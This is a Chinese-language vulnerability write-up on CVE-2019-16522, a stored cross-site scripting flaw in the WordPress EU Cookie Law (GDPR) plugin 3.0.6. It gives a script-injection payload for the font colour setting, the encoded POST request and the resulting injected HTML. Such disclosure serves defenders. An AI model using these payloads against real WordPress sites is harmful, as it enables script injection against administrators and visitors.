(CVE-2019-16522)WordPress Plugin - EU Cookie Law (GDPR) 储存型xss
一、漏洞简介
WordPress的3.0.6版eu-cookie-law插件(又称为EU Cookie法(GDPR))容易受到存储XSS的影响,原因是管理区域中几个配置选项的编码不正确以及显示的Cookie同意消息。这会影响"字体颜色","背景颜色"和"禁用Cookie"文本。具有高特权的攻击者可以攻击其他用户。
二、漏洞影响
wordpress \<= 3.0.6,可能更高
三、复现过程
/wp-admin/options-general.php?page=peadig_eucookie
管理员可以在配置区域为插件设置多个选项。在插入HTML页面之前,大多数都可以正确转义。但是,可以利用三个设置值来插入任意JavaScript和HTML。那些是:
字体颜色( Font Color) 背景颜色 (Background Color) "禁用Cookie"文本 (\"Disable Cookie\" Text) " Fontcolor"的值将插入到显示Cookie同意消息的每个页面上。默认情况下,其他两个仅可在管理区域中利用。
以"字体颜色"为例
将字体颜色的值设置为
#FFFFFF"><script>alert(1)</script>
便可以突破HTML属性并插入script包含JavaScript 的标签
post包:
POST /wp-admin/options.php HTTP / 1.1
[ ... ]
[ ... ] peadig_eucookie%5 Bfontcolor%5 D = %23FFFFFF%22%3E%3Cscript%3Ealert%281%29%3C / script%3E [...]
这时候我们看一下返回值。
在管理区域中,生成的HTML页面如下所示
<input id="fontcolor" type="text" name="peadig_eucookie[fontcolor]" value="#FFFFFF">
<script>alert(1)</script>
" class="color-field" data-default-color="#ffffff"/>
在带有cookie消息的页面上,有效负载将被多次插入。生成的HTML如下所示
<!-- Eu cookie Law 3.0.6 -->
<div class="pea_cook_wrapper pea_cook_bottomcenter" style="color:#FFFFFF">
<script>alert(1)</script>
;background:rgb(0,0,0);background: rgba(0,0,0,0.85);">